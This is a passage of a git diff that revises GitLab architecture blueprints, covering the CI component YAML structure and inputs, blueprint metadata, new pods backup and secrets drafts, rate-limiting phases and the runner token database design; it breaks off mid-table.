better understand the design that is required to make components more +predictable. The predictability, determinism, referential transparency and +making CI components predictable is still important for us, but we may be +unable to achieve it early iterations. + ## Structure of a component A pipeline component is identified by the path to a repository or directory that defines it @@ -143,30 +165,36 @@ For example: `gitlab-org/dast@1.0`. ### The component path -A component path must contain at least the metadata YAML and optionally a related `README.md` documentation file. +A component path must contain at least the component YAML and optionally a +related `README.md` documentation file. The component path can be: -- A path to a project: `gitlab-org/dast`. In this case the 2 files are defined in the root directory of the repository. -- A path to a project subdirectory: `gitlab-org/dast/api-scan`. In this case the 2 files are defined in the `api-scan` directory. -- A path to a local directory: `/path/to/component`. This path must contain the metadata YAML that defines the component. +- A path to a project: `gitlab-org/dast`. The default component is processed. +- A path to an explicit component: `gitlab-org/dast/api-scan`. In this case the explicit `api-scan` component is processed. +- A path to a local directory: `/path/to/component`. This path must contain the component YAML that defines the component. The path must start with `/` to indicate a full path in the repository. -The metadata YAML file follows the filename convention `gitlab-.yml` where component type is one of: +The component YAML file follows the filename convention `.yml` where component type is one of: | Component type | Context | | -------------- | ------- | | `template` | For components used under `include:` keyword | | `step` | For components used under `steps:` keyword | -| `workflow` | For components used under `trigger:` keyword | Based on the context where the component is used we fetch the correct YAML file. -For example, if we are including a component `gitlab-org/dast@1.0` we expect a YAML file named `gitlab-template.yml` in the -top level directory of `gitlab-org/dast` repository. +For example: + +- if we are including a component `gitlab-org/dast@1.0` we expect a YAML file named `template.yml` in the + root directory of `gitlab-org/dast` repository. +- if we are including a component `gitlab-org/dast/api-scan@1.0` we expect a YAML file named `template.yml` inside a + directory `api-scan` of `gitlab-org/dast` repository. +- if we are using a step component `gitlab-org/dast/api-scan@1.0` we expect a YAML file named `step.yml` inside a + directory `api-scan` of `gitlab-org/dast` repository. -A `gitlab-.yml` file: +A component YAML file: -- Must have a **name** to be referenced to and **description** for extra details. +- Must have a **name** to be referenced to. - Must specify its **type** in the filename, which defines how it can be used (raw configuration to be `include`d, child pipeline workflow, job step). - Must define its **content** based on the type. - Must specify **input parameters** that it accepts. Components should depend on input parameters for dynamic values and not environment variables. @@ -174,6 +202,7 @@ A `gitlab-.yml` file: - Should be **validated statically** (for example: using JSON schema validators). ```yaml +--- spec: inputs: website: @@ -184,11 +213,12 @@ spec: - unit - integration - system -content: { ... } +--- +# content of the component ``` -Components that are released in the catalog must have a `README.md` file in the same directory as the -metadata YAML file. The `README.md` represents the documentation for the specific component, hence it's recommended +Components that are released in the catalog must have a `README.md` file at the root directory of the repository. +The `README.md` represents the documentation for the specific component, hence it's recommended even when not releasing versions in the catalog. ### The component version @@ -230,30 +260,28 @@ The following directory structure would support 1 component per project: ```plaintext . -├── gitlab-.yml +├── template.yml ├── README.md └── .gitlab-ci.yml ``` The `.gitlab-ci.yml` is recommended for the project to ensure changes are verified accordingly. -The component is now identified by the path `myorg/rails-rspec`. In other words, this means that -the `gitlab-.yml` and `README.md` are located in the root directory of the repository. +The component is now identified by the path `myorg/rails-rspec` and we expect a `template.yml` file +and `README.md` located in the root directory of the repository. The following directory structure would support multiple components per project: ```plaintext . ├── .gitlab-ci.yml +├── README.md ├── unit/ -│ ├── gitlab-workflow.yml -│ └── README.md +│ └── template.yml ├── integration/ -│ ├── gitlab-workflow.yml -│ └── README.md +│ └── template.yml └── feature/ - ├── gitlab-workflow.yml - └── README.md + └── template.yml ``` In this example we are defining multiple test profiles that are executed with RSpec. @@ -266,18 +294,20 @@ This directory structure could also support both strategies: ```plaintext . -├── gitlab-template.yml # myorg/rails-rspec +├── template.yml # myorg/rails-rspec ├── README.md +├── LICENSE ├── .gitlab-ci.yml ├── unit/ -│ ├── gitlab-workflow.yml # myorg/rails-rspec/unit -│ └── README.md +│ └── template.yml # myorg/rails-rspec/unit ├── integration/ -│ ├── gitlab-workflow.yml # myorg/rails-rspec/integration -│ └── README.md -└── feature/ - ├── gitlab-workflow.yml # myorg/rails-rspec/feature - └── README.md +│ └── template.yml # myorg/rails-rspec/integration +├── feature/ +│ └── template.yml # myorg/rails-rspec/feature +└── report/ + ├── step.yml # myorg/rails-rspec/report + ├── Dockerfile + └── ... other files ``` With the above structure we could have a top-level component that can be used as the @@ -285,14 +315,15 @@ default component. For example, `myorg/rails-rspec` could run all the test profi However, more specific test profiles could be used separately (for example `myorg/rails-rspec/integration`). NOTE: -Any nesting more than 1 level is initially not permitted. +Nesting of components is not permitted. This limitation encourages cohesion at project level and keeps complexity low. -## Input parameters `spec:inputs:` parameters +## `spec:inputs:` parameters If the component takes any input parameters they must be specified according to the following schema: ```yaml +--- spec: inputs: website: # by default all declared inputs are mandatory. @@ -303,8 +334,15 @@ spec: - unit - integration - system +--- +# content of the component +my-job: + script: echo ``` +The YAML in this case contains 2 documents. The first document represents the specifications while the +second document represents the content. + When using the component we pass the input parameters as follows: ```yaml @@ -322,27 +360,28 @@ possible [inputs provided upstream](#input-parameters-for-pipelines). Input parameters are validated as soon as possible: 1. Read the file `gitlab-template.yml` inside `org/my-component`. -1. Parse `spec:inputs` and validate the parameters against this schema. -1. If successfully validated, proceed with parsing `content:`. Return an error otherwise. -1. Interpolate input parameters inside the component's `content:`. +1. Parse `spec:inputs` from the specifications and validate the parameters against this schema. +1. If successfully validated, proceed with parsing the content. Return an error otherwise. +1. Interpolate input parameters inside the component's content. ```yaml +--- spec: inputs: environment: options: [test, staging, production] -content: - "run-tests-$[[ inputs.environment ]]": - script: ./run-test - - scan-website: - script: ./scan-website $[[ inputs.environment ]] - rules: - - if: $[[ inputs.environment ]] == 'staging' - - if: $[[ inputs.environment ]] == 'production' +--- +"run-tests-$[[ inputs.environment ]]": + script: ./run-test + +scan-website: + script: ./scan-website $[[ inputs.environment ]] + rules: + - if: $[[ inputs.environment ]] == 'staging' + - if: $[[ inputs.environment ]] == 'production' ``` -With `$[[ inputs.XXX ]]` inputs are interpolated immediately after parsing the `content:`. +With `$[[ inputs.XXX ]]` inputs are interpolated immediately after parsing the content. ### Why input parameters and not environment variables? @@ -386,17 +425,19 @@ include: foo: bar ``` -Then the configuration being included must specify the inputs: +Then the configuration being included must specify the inputs by defining a specification section in the YAML: ```yaml +--- spec: inputs: foo: - +--- # rest of the configuration ``` -If a YAML includes content using `with:` but the including YAML doesn't specify `inputs:`, an error should be raised. +If a YAML includes content using `with:` but the including YAML doesn't define `inputs:` in the specifications, +an error should be raised. |`with:`| `inputs:` | result | | --- | --- | --- | @@ -428,9 +469,10 @@ deploy-app: deploy_environment: staging ``` -To solve the problem of `Run Pipeline` UI form we could fully leverage the `spec:inputs` schema: +To solve the problem of `Run Pipeline` UI form we could fully leverage the `inputs` specifications: ```yaml +--- spec: inputs: concurrency: @@ -443,9 +485,11 @@ spec: - canary # 2nd option - production # 3rd option default: staging # selected by default in the UI. - # if `default:` is not specified, the user must explicitly select - # an option. + # if `default:` is not specified, the user must explicitly select + # an option. description: Deployment environment # optional: render as input label. +--- +# rest of the pipeline config ``` ## Limits diff --git a/doc/architecture/blueprints/ci_scale/index.md b/doc/architecture/blueprints/ci_scale/index.md index 574a79c86a5..cf7065f7c07 100644 --- a/doc/architecture/blueprints/ci_scale/index.md +++ b/doc/architecture/blueprints/ci_scale/index.md @@ -1,5 +1,5 @@ --- -status: in progress +status: ongoing creation-date: "2021-01-21" authors: [ "@grzesiek" ] coach: "@grzesiek" diff --git a/doc/architecture/blueprints/cloud_native_build_logs/index.md b/doc/architecture/blueprints/cloud_native_build_logs/index.md index 20cfb46abc4..bbce54a3fb2 100644 --- a/doc/architecture/blueprints/cloud_native_build_logs/index.md +++ b/doc/architecture/blueprints/cloud_native_build_logs/index.md @@ -2,7 +2,7 @@ status: implemented creation-date: "2020-08-26" authors: [ "@grzesiek" ] -coach: "@kamil" +coach: [ "@ayufan", "@grzesiek" ] approvers: [ "@thaoyeager", "@darbyfrey" ] owning-stage: "~devops::release" participating-stages: [] diff --git a/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md b/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md index b6f3a59dc0b..2bca1a4a4ca 100644 --- a/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md +++ b/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md @@ -2,7 +2,7 @@ status: implemented creation-date: "2019-05-16" authors: [ "@grzesiek" ] -coach: "@kamil" +coach: [ "@ayufan", "@grzesiek" ] approvers: [ "@ogolowinski", "@dcroft", "@vshushlin" ] owning-stage: "~devops::release" participating-stages: [] diff --git a/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md b/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md index 3ef98c33035..7fecbd1de71 100644 --- a/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md +++ b/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md @@ -1,14 +1,14 @@ --- status: proposed creation-date: "2021-05-19" -authors: [ "@kamil", "@mkaeppler" ] +authors: [ "@ayufan", "@mkaeppler" ] coach: "@glopezfernandez" approvers: [] owning-stage: "~devops::non_devops" participating-stages: [] --- -# Composable GitLab codebase - using Rails Engines +# Composable GitLab Codebase NOTE: Due to our focus on improving the overall availability of GitLab.com and reducing tech debt, we do not have capacity to act on this blueprint. We will re-evaluate in Q1-FY23. diff --git a/doc/architecture/blueprints/feature_flags_development/index.md b/doc/architecture/blueprints/feature_flags_development/index.md index 730daf56f0d..b2e6fd1e82c 100644 --- a/doc/architecture/blueprints/feature_flags_development/index.md +++ b/doc/architecture/blueprints/feature_flags_development/index.md @@ -1,14 +1,14 @@ --- -status: accepted +status: implemented creation-date: "2020-06-10" -authors: [ "@kamil" ] +authors: [ "@ayufan" ] coach: "@glopezfernandez" approvers: [ "@kencjohnston", "@craig-gomes" ] owning-stage: "~devops::non_devops" participating-stages: [] --- -# Architectural discussion of feature flags +# Development Feature Flags Architecture Usage of feature flags become crucial for the development of GitLab. The feature flags are a convenient way to ship changes early, and safely rollout diff --git a/doc/architecture/blueprints/gitlab_observability_backend/metrics/index.md b/doc/architecture/blueprints/gitlab_observability_backend/metrics/index.md index a6efe68310e..c5bd2440b0c 100644 --- a/doc/architecture/blueprints/gitlab_observability_backend/metrics/index.md +++ b/doc/architecture/blueprints/gitlab_observability_backend/metrics/index.md @@ -673,10 +673,10 @@ Using PromQL directly could be a steep learning curve for users. It would be rea The following section enlists how we intend to implement the aforementioned proposal around building Metrics support into GitLab Observability Service. Each corresponding document and/or issue contains further details of how each next step is planned to be executed. -- **[DONE]** [Research & draft design proposal and/or requirements](https://docs.google.com/document/d/1kHyIoWEcs14sh3CGfKGiI8QbCsdfIHeYkzVstenpsdE/edit?usp=sharing) -- **[IN-PROGRESS]** [Submit system/schema designs (proposal) & gather feedback](https://docs.google.com/document/d/1kHyIoWEcs14sh3CGfKGiI8QbCsdfIHeYkzVstenpsdE/edit?usp=sharing) -- **[IN-PROGRESS]** [Develop table definitions and/or storage interfaces](https://gitlab.com/gitlab-org/opstrace/opstrace/-/issues/1666) -- **[IN-PROGRESS]** [Prototype reference implementation, instrument key metrics](https://gitlab.com/gitlab-org/opstrace/opstrace/-/merge_requests/1823) +- **DONE** [Research & draft design proposal and/or requirements](https://docs.google.com/document/d/1kHyIoWEcs14sh3CGfKGiI8QbCsdfIHeYkzVstenpsdE/edit?usp=sharing) +- **IN-PROGRESS** [Submit system/schema designs (proposal) & gather feedback](https://docs.google.com/document/d/1kHyIoWEcs14sh3CGfKGiI8QbCsdfIHeYkzVstenpsdE/edit?usp=sharing) +- **IN-PROGRESS** [Develop table definitions and/or storage interfaces](https://gitlab.com/gitlab-org/opstrace/opstrace/-/issues/1666) +- **IN-PROGRESS** [Prototype reference implementation, instrument key metrics](https://gitlab.com/gitlab-org/opstrace/opstrace/-/merge_requests/1823) - [Benchmark Clickhouse and/or proposed schemas, gather expert advice from Clickhouse Inc.](https://gitlab.com/gitlab-org/opstrace/opstrace/-/issues/1666) - Develop write path(s) - `remote_write` API - Develop read path(s) - `remote_read` API, `PromQL`-based querier. diff --git a/doc/architecture/blueprints/gitlab_observability_backend/metrics/supported-deployments.png b/doc/architecture/blueprints/gitlab_observability_backend/metrics/supported-deployments.png index 54c4ed3b48f..9dccc515129 100644 Binary files a/doc/architecture/blueprints/gitlab_observability_backend/metrics/supported-deployments.png and b/doc/architecture/blueprints/gitlab_observability_backend/metrics/supported-deployments.png differ diff --git a/doc/architecture/blueprints/graphql_api/index.md b/doc/architecture/blueprints/graphql_api/index.md index 4b446a78541..95ff834cd27 100644 --- a/doc/architecture/blueprints/graphql_api/index.md +++ b/doc/architecture/blueprints/graphql_api/index.md @@ -2,7 +2,7 @@ status: accepted creation-date: "2021-01-07" authors: [ "@grzesiek" ] -coach: "@kamil" +coach: [ "@ayufan", "@grzesiek" ] approvers: [ "@dsatcher", "@deuley" ] owning-stage: "~devops::manage" participating-stages: [] diff --git a/doc/architecture/blueprints/image_resizing/index.md b/doc/architecture/blueprints/image_resizing/index.md index 99a7c4ae144..b3938cbc8ab 100644 --- a/doc/architecture/blueprints/image_resizing/index.md +++ b/doc/architecture/blueprints/image_resizing/index.md @@ -2,7 +2,7 @@ status: implemented creation-date: "2020-10-21" authors: [ "@craig-gomes" ] -coach: "@kamil" +coach: "@ayufan" approvers: [ "@timzallmann", "@joshlambert" ] owning-stage: "~devops::non_devops" participating-stages: [] diff --git a/doc/architecture/blueprints/pods/index.md b/doc/architecture/blueprints/pods/index.md index 0a36de5790f..077303be30f 100644 --- a/doc/architecture/blueprints/pods/index.md +++ b/doc/architecture/blueprints/pods/index.md @@ -1,8 +1,8 @@ --- status: accepted creation-date: "2022-09-07" -authors: [ "@fzimmer", "@DylanGriffith" ] -coach: "@kamil" +authors: [ "@ayufan", "@fzimmer", "@DylanGriffith" ] +coach: "@ayufan" approvers: [ "@fzimmer" ] owning-stage: "~devops::enablement" participating-stages: [] @@ -150,6 +150,14 @@ At this moment, GitLab.com has "social-network"-like capabilities that may not f We should evaluate if the SMB and mid market segment is interested in these features, or if not having them is acceptable in most cases. +### Self-managed + +For reasons of consistency, it is expected that self-managed instances will +adopt the pods architecture as well. To expand, self-managed instances can +continue with just a single Pod while supporting the option of adding additional +Pods. Organizations, and possible User decomposition will also be adopted for +self-managed instances. + ## High-level architecture problems to solve A number of technical issues need to be resolved to implement Pods (in no particular order). This section will be expanded. @@ -325,9 +333,11 @@ This is the list of known affected features with the proposed solutions. - [Pods: Organizations](pods-feature-organizations.md) - [Pods: Router Endpoints Classification](pods-feature-router-endpoints-classification.md) - [Pods: Schema changes (Postgres and Elasticsearch migrations)](pods-feature-schema-changes.md) +- [Pods: Backups](pods-feature-backups.md) - [Pods: Global Search](pods-feature-global-search.md) - [Pods: CI Runners](pods-feature-ci-runners.md) - [Pods: Admin Area](pods-feature-admin-area.md) +- [Pods: Secrets](pods-feature-secrets.md) - [Pods: Container Registry](pods-feature-container-registry.md) - [Pods: Contributions: Forks](pods-feature-contributions-forks.md) - [Pods: Personal Namespaces](pods-feature-personal-namespaces.md) diff --git a/doc/architecture/blueprints/pods/pods-feature-backups.md b/doc/architecture/blueprints/pods/pods-feature-backups.md new file mode 100644 index 00000000000..5e4de42f473 --- /dev/null +++ b/doc/architecture/blueprints/pods/pods-feature-backups.md @@ -0,0 +1,61 @@ +--- +stage: enablement +group: pods +comments: false +description: 'Pods: Backups' +--- + +This document is a work-in-progress and represents a very early state of the +Pods design. Significant aspects are not documented, though we expect to add +them in the future. This is one possible architecture for Pods, and we intend to +contrast this with alternatives before deciding which approach to implement. +This documentation will be kept even if we decide not to implement this so that +we can document the reasons for not choosing this approach. + +# Pods: Backups + +Each pods will take its own backups, and consequently have its own isolated +backup / restore procedure. + +## 1. Definition + +GitLab Backup takes a backup of the PostgreSQL database used by the application, +and also Git repository data. + +## 2. Data flow + +Each pod has a number of application databases to back up (e.g. `main`, and `ci`). + +Additionally, there may be cluster-wide metadata tables (e.g. `users` table) +which is directly accesible via PostgreSQL. + +## 3. Proposal + +### 3.1. Cluster-wide metadata + +It is currently unknown how cluster-wide metadata tables will be accessible. We +may choose to have cluster-wide metadata tables backed up separately, or have +each pod back up its copy of cluster-wide metdata tables. + +### 3.2 Consistency + +#### 3.2.1 Take backups independently + +As each pod will communicate with each other via API, and there will be no joins +to the users table, it should be acceptable for each pod to take a backup +independently of each other. + +#### 3.2.2 Enforce snapshots + +We can require that each pod take a snapshot for the PostgreSQL databases at +around the same time to allow for a consistent-enough backup. + +## 4. Evaluation + +As the number of pods increases, it will likely not be feasible to take a +snapshot at the same time for all pods. Hence taking backups independently is +the better option. + +## 4.1. Pros + +## 4.2. Cons diff --git a/doc/architecture/blueprints/pods/pods-feature-secrets.md b/doc/architecture/blueprints/pods/pods-feature-secrets.md new file mode 100644 index 00000000000..f18a41dc0fb --- /dev/null +++ b/doc/architecture/blueprints/pods/pods-feature-secrets.md @@ -0,0 +1,48 @@ +--- +stage: enablement +group: pods +comments: false +description: 'Pods: Secrets' +--- + +This document is a work-in-progress and represents a very early state of the +Pods design. Significant aspects are not documented, though we expect to add +them in the future. This is one possible architecture for Pods, and we intend to +contrast this with alternatives before deciding which approach to implement. +This documentation will be kept even if we decide not to implement this so that +we can document the reasons for not choosing this approach. + +# Pods: Secrets + +Where possible, each pod should have its own distinct set of secrets. +However, there will be some secrets that will be required to be the same for all +pods in the cluster + +## 1. Definition + +GitLab has a lot of +[secrets](https://docs.gitlab.com/charts/installation/secrets.html) that needs +to be configured. + +Some secrets are for inter-component communication, e.g. `GitLab Shell secret`, +and used only within a pod. + +Some secrets are used for features, e.g. `ci_jwt_signing_key`. + +## 2. Data flow + +## 3. Proposal + +1. Secrets used for features will need to be consistent across all pods, so that the UX is consistent. + 1. This is especially true for the `db_key_base` secret which is used for + encrypting data at rest in the database - so that projects that are + transferred to another pod will continue to work. We do not want to have + to re-encrypt such rows when we move projects/groups between pods. +1. Secrets which are used for intra-pod communication only should be uniquely generated + per-pod. + +## 4. Evaluation + +## 4.1. Pros + +## 4.2. Cons diff --git a/doc/architecture/blueprints/pods/proposal-stateless-router-with-buffering-requests.md b/doc/architecture/blueprints/pods/proposal-stateless-router-with-buffering-requests.md index ab19b652f93..adc523e90c2 100644 --- a/doc/architecture/blueprints/pods/proposal-stateless-router-with-buffering-requests.md +++ b/doc/architecture/blueprints/pods/proposal-stateless-router-with-buffering-requests.md @@ -555,9 +555,9 @@ sequenceDiagram They get a 404. -### Experience for non-logged in users +### Experience for non-authenticated users -Flow is similar to logged in users except global routes like `/dashboard` will +Flow is similar to authenticated users except global routes like `/dashboard` will redirect to the login page as there is no default organization to choose from. ### A new customers signs up diff --git a/doc/architecture/blueprints/pods/proposal-stateless-router-with-routes-learning.md b/doc/architecture/blueprints/pods/proposal-stateless-router-with-routes-learning.md index c99b02a35e9..1156e65f6aa 100644 --- a/doc/architecture/blueprints/pods/proposal-stateless-router-with-routes-learning.md +++ b/doc/architecture/blueprints/pods/proposal-stateless-router-with-routes-learning.md @@ -578,7 +578,7 @@ sequenceDiagram They get a 404. -### Experience for non-logged in users +### Experience for non-authenticated users Flow is similar to logged in users except global routes like `/dashboard` will redirect to the login page as there is no default organization to choose from. diff --git a/doc/architecture/blueprints/rate_limiting/index.md b/doc/architecture/blueprints/rate_limiting/index.md index 22709a90cee..26114fce7f2 100644 --- a/doc/architecture/blueprints/rate_limiting/index.md +++ b/doc/architecture/blueprints/rate_limiting/index.md @@ -4,7 +4,7 @@ creation-date: "2022-09-08" authors: [ "@grzesiek", "@marshall007", "@fabiopitino", "@hswimelar" ] coach: "@andrewn" approvers: [ "@sgoldstein" ] -owning-stage: +owning-stage: "~devops::enablement" participating-stages: [] --- @@ -354,28 +354,33 @@ hierarchy. Choosing a proper solution will require a thoughtful research. ## Phases and iterations -**Phase 1**: Compile examples of current most important application limits — Owning Team - a. Owning Team (in collaboration with Stage Groups) compiles a list of the - most important application limits used in Rails today. -**Phase 2**: Implement Rate Limiting Framework in Rails - Owning Team - a. Triangulate rate limiting abstractions based on the data gathered in Phase 1 - b. Develop YAML model for limits. - c. Build Rails SDK. - d. Create examples showcasing usage of the new rate limits SDK. -**Phase 3**: Team fan out of Rails SDK - Stage Groups - a. Individual stage groups begin using the SDK built in Phase 2 for new limit and policies. - b. Stage groups begin replacing historical adhoc limit implementations with the SDK. - c. Provides means to monitor and observe the progress of the replacement effort. Ideally this is broken down to the `feature_category` level to drive group-level buy-in -- Owning Team. -**Phase 4**: Enable Satellite Services to Use the Rate Limiting Framework - Owning Team - a. Determine if the goals of Phase 4 are best met by either - 1. Extracting the Rails rate limiting service into a decoupled service OR - 2. Implementing a separate Go library which uses the same backend (eg, Redis) for rate limiting. -**Phase 5**: SDK for Satellite Services - Owning Team - a. Build Golang SDK. - c. Create examples showcasing usage of the new rate limits SDK. -**Phase 6**: Team fan out for Satellite Services - Stage Groups - a. Individual stage groups being using the SDK built in Phase 5 for new limit and policies. - b. Stage groups begin replacing historical adhoc limit implementations with the SDK. +1. **Compile examples of current most important application limits (Owning Team)** + - Owning Team (in collaboration with Stage Groups) compiles a list of the + most important application limits used in Rails today. + +1. **Implement Rate Limiting Framework in Rails (Owning Team)** + - Triangulate rate limiting abstractions based on the data gathered in Phase 1. + - Develop YAML model for limits. + - Build Rails SDK. + - Create examples showcasing usage of the new rate limits SDK. + +1. **Team fan out of Rails SDK (Stage Groups)** + - Individual stage groups begin using the SDK built in Phase 2 for new limit and policies. + - Stage groups begin replacing historical ad hoc limit implementations with the SDK. + - (Owning team) Provides means to monitor and observe the progress of the replacement effort. Ideally this is broken down to the `feature_category` level to drive group-level buy-in. + +1. **Enable Satellite Services to Use the Rate Limiting Framework (Owning Team)** + - Determine if the goals of Phase 4 are best met by either: + - Extracting the Rails rate limiting service into a decoupled service. + - Implementing a separate Go library which uses the same backend (for example, Redis) for rate limiting. + +1. **SDK for Satellite Services (Owning Team)** + - Build Golang SDK. + - Create examples showcasing usage of the new rate limits SDK. + +1. **Team fan out for Satellite Services (Stage Groups)** + - Individual stage groups begin using the SDK built in Phase 5 for new limit and policies. + - Stage groups begin replacing historical ad hoc limit implementations with the SDK. ## Status diff --git a/doc/architecture/blueprints/remote_development/img/remote_dev_15_7_1.png b/doc/architecture/blueprints/remote_development/img/remote_dev_15_7_1.png index 330873380d4..aab946923e2 100644 Binary files a/doc/architecture/blueprints/remote_development/img/remote_dev_15_7_1.png and b/doc/architecture/blueprints/remote_development/img/remote_dev_15_7_1.png differ diff --git a/doc/architecture/blueprints/remote_development/index.md b/doc/architecture/blueprints/remote_development/index.md index 39ea2fb2948..38c3782f5e3 100644 --- a/doc/architecture/blueprints/remote_development/index.md +++ b/doc/architecture/blueprints/remote_development/index.md @@ -1,5 +1,5 @@ --- -status: proposed +status: ongoing creation-date: "2022-11-15" authors: [ "@vtak" ] coach: "@grzesiek" diff --git a/doc/architecture/blueprints/runner_scaling/index.md b/doc/architecture/blueprints/runner_scaling/index.md index 8eb6bfd2551..53401d80e34 100644 --- a/doc/architecture/blueprints/runner_scaling/index.md +++ b/doc/architecture/blueprints/runner_scaling/index.md @@ -1,8 +1,8 @@ --- -status: accepted +status: ongoing creation-date: "2022-01-19" authors: [ "@grzesiek", "@tmaczukin", "@josephburnett" ] -coach: "@kamil" +coach: [ "@ayufan", "@grzesiek" ] approvers: [ "@DarrenEastman" ] owning-stage: "~devops::verify" participating-stages: [] diff --git a/doc/architecture/blueprints/runner_tokens/index.md b/doc/architecture/blueprints/runner_tokens/index.md index 7a282649c5c..7d21dd594ad 100644 --- a/doc/architecture/blueprints/runner_tokens/index.md +++ b/doc/architecture/blueprints/runner_tokens/index.md @@ -1,8 +1,11 @@ --- -stage: Verify -group: Runner -comments: false -description: 'Next Runner Token Architecture' +status: ready +creation-date: "2022-10-27" +authors: [ "@pedropombeiro", "@tmaczukin" ] +coach: "@ayufan" +approvers: [ "@erushton" ] +owning-stage: "~devops::verify" +participating-stages: [] --- # Next GitLab Runner Token Architecture @@ -37,7 +40,7 @@ We call this new mechanism the "next GitLab Runner Token architecture". The proposal addresses the issues of a _single token per scope_ and _token storage_ by eliminating the need for a registration token. Runner creation happens -in the GitLab Runners settings page for the given scope, in the context of the logged-in user, +in the GitLab Runners settings page for the given scope, in the context of the authenticated user, which provides traceability. The page provides instructions to configure the newly-created runner in supported environments using the existing `gitlab-runner register` command. @@ -137,7 +140,7 @@ instance (for example if the runner is offline). In addition, we should add the following columns to `ci_runners`: -- a `user_id` column to keep track of who created a runner; +- a `creator_id` column to keep track of who created a runner; - a `registration_type` enum column to `ci_runners` to signal whether a runner has been created using the legacy `register` method, or the new UI-based method. Possible values are `:registration_token` and `:authenticated_user`. @@ -145,26 +148,25 @@ In addition, we should add the following columns to `ci_runners`: future uses that may not be apparent. ```sql -CREATE TABLE ci_runner ( +CREATE TABLE ci_runners ( ... - user_id bigint + creator_id bigint registration_type int8 ) ``` -The `ci_builds_runner_session` (or `ci_builds` or `ci_builds_metadata`) shall reference -`ci_runner_machines`. +The `ci_builds_metadata` table shall reference `ci_runner_machines`. We might consider a more efficient way to store `contacted_at` than updating the existing record. ```sql -CREATE TABLE ci_builds_runner_session ( +CREATE TABLE ci_builds_metadata ( ... runner_machine_id bigint NOT NULL ); CREATE TABLE ci_runner_machines ( - id integer NOT NULL, - machine_id character varying UNIQUE NOT NULL, + id bigint NOT NULL, + machine_xid character varying UNIQUE NOT NULL, contacted_at timestamp without time zone, version character varying, revision character varying, @@ -172,6 +174,7 @@ CREATE TABLE ci_runner_machines ( architecture character varying, ip_address character varying, executor_type smallint, + config jsonb DEFAULT '{}'::jsonb NOT NULL ); ``` @@ -238,7 +241,7 @@ future after the legacy registration system is removed, and runners have been up versions. Job pings from such legacy runners results in a `ci_runner_machines` record containing a -`` `machine_id` field value. +`` `machine_xid` field value. Not using the unique system ID means that all connected runners with the same token are notified, instead of just the runner matching the exact system identifier. While not ideal, this is @@ -246,8 +249,13 @@ not an issue per-se. ### `ci_runner_machines` record lifetime -New records are created when the runner pings the GitLab instance for new jobs, if a record matching -the `token`+`system_id` does not already exist. +New records are created in 2 situations: + +- when the runner calls the `POST /api/v4/runners/verify` endpoint as part of the +`gitlab-runner register` command, if the specified runner token is prefixed with `glrt-`. +This allows the frontend to determine whether the user has successfully completed the registration and take an +appropriate action; +- when GitLab is pinged for new jobs and a record matching the `token`+`system_id` does not already exist. Due to the time-decaying nature of the `ci_runner_machines` records, they are automatically cleaned after 7 days after the last contact from the respective runner. @@ -306,32 +314,34 @@ using PAT tokens for example - such that every runner is associated with an owne | Component | Milestone | Changes | |------------------|----------:|---------| -| GitLab Runner | `15.x` | Ensure a sidecar TOML file exists with a `system_id` value.
Log new system ID values with `INFO` level as they get assigned. | -| GitLab Runner | `15.x` | Log unique system ID in the build logs. | -| GitLab Runner | `15.x` | Label Prometheus metrics with unique system ID. | -| GitLab Runner | `15.x` | Prepare `register` command to fail if runner server-side configuration options are passed together with a new `glrt-` token. | +| GitLab Runner | `15.7` | Ensure a sidecar TOML file exists with a `system_id` value.
Log new system ID values with `INFO` level as they get assigned. | +| GitLab Runner | `15.7` | Log unique system ID in the build logs. | +| GitLab Runner | `15.9` | Label Prometheus metrics with unique system ID. | +| GitLab Runner | `15.8` | Prepare `register` command to fail if runner server-side configuration options are passed together with a new `glrt-` token. | ### Stage 3 - Database changes | Component | Milestone | Changes | |------------------|----------:|---------| -| GitLab Rails app | | Create database migration to add columns to `ci_runners` table. | -| GitLab Rails app | | Create database migration to add `ci_runner_machines` table. | -| GitLab Rails app | | Create database migration to add `ci_runner_machines.machine_id` foreign key to `ci_builds_runner_session` table. | -| GitLab Rails app | | Create database migrations to add `allow_runner_registration_token` setting to `application_settings` and `namespace_settings` tables (default: `true`). | -| GitLab Runner | | Use runner token + `system_id` JSON parameters in `POST /jobs/request` request in the [heartbeat request](https://gitlab.com/gitlab-org/gitlab/blob/c73c96a8ffd515295842d72a3635a8ae873d688c/lib/api/ci/helpers/runner.rb#L14-20) to update the `ci_runner_machines` cache/table. | +| GitLab Rails app | `%15.8` | Create database migration to add columns to `ci_runners` table. | +| GitLab Rails app | `%15.8` | Create database migration to add `ci_runner_machines` table. | +| GitLab Rails app | `%15.9` | Create database migration to add `ci_runner_machines.id` foreign key to `ci_builds_metadata` table. | +| GitLab Rails app | `%15.8` | Create database migrations to add `allow_runner_registration_token` setting to `application_settings` and `namespace_settings` tables (default: `true`). | +| GitLab Rails app | `%15.8` | Create database migration to add config column to `ci_runner_machines` table. | | GitLab Runner | | Start sending `system_id` value in `POST /jobs/request` request and other follow-up requests that require identifying the unique system. | | GitLab Rails app | | Create service similar to `StaleGroupRunnersPruneCronWorker` service to clean up `ci_runner_machines` records instead of `ci_runners` records.
Existing service continues to exist but focuses only on legacy runners. | +| GitLab Rails app | | Create `ci_runner_machines` record in `POST /runners/verify` request if the runner token is prefixed with `glrt-`. | +| GitLab Rails app | | Use runner token + `system_id` JSON parameters in `POST /jobs/request` request in the [heartbeat request](https://gitlab.com/gitlab-org/gitlab/blob/c73c96a8ffd515295842d72a3635a8ae873d688c/lib/api/ci/helpers/runner.rb#L14-20) to update the `ci_runner_machines` cache/table. | ### Stage 4 - New UI | Component | Milestone | Changes | |------------------|----------:|---------| -| GitLab Runner | | Implement new GraphQL user-authenticated API to create a new runner. | -| GitLab Runner | | [Add prefix to newly generated runner authentication tokens](https://gitlab.com/gitlab-org/gitlab/-/issues/383198). | -| GitLab Rails app | | Implement UI to create new runner. | -| GitLab Rails app | | GraphQL changes to `CiRunner` type. | -| GitLab Rails app | | UI changes to runner details view (listing of platform, architecture, IP address, etc.) (?) | +| GitLab Rails app | `%15.10` | Implement new GraphQL user-authenticated API to create a new runner. | +| GitLab Rails app | `%15.10` | [Add prefix to newly generated runner authentication 